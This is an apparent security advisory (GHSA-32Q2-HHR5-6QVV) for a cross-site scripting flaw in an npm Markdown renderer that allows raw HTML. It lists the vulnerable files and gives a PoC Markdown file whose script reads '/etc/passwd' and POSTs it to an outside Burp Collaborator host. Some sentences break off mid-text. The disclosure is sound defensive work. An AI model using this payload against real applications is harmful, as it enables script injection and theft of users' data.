PT-2026-42586 · Npm · M-Files Server

Publicado

2026-05-21

·

Atualizado

2026-05-21

CVSS v3.1

7.2

Alta

VetorAV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including

Details

An attacker can craft malicious Markdown content containing

Vulnerable Components

config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.
lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.
lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.

PoC

Create a pwn.md
# Hello

<script>
 fetch('/etc/passwd', { credentials: 'include' })
  .then(r => r.text())
  .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));
</script>
Open it on browser. image View the HTTP request in Burp Collaborator. image

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:
  • Session hijacking
  • Account takeover
  • Credential theft
  • Defacement or injection of malicious content
  • Exfiltration of sensitive data via API tokens, CSRF tokens, or user information
This affects all users who can view Markdown content within the application.

Correção

XSS

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Enumeração de Fraquezas

Identificadores relacionados

GHSA-32Q2-HHR5-6QVV

Produtos afetados

M-Files Server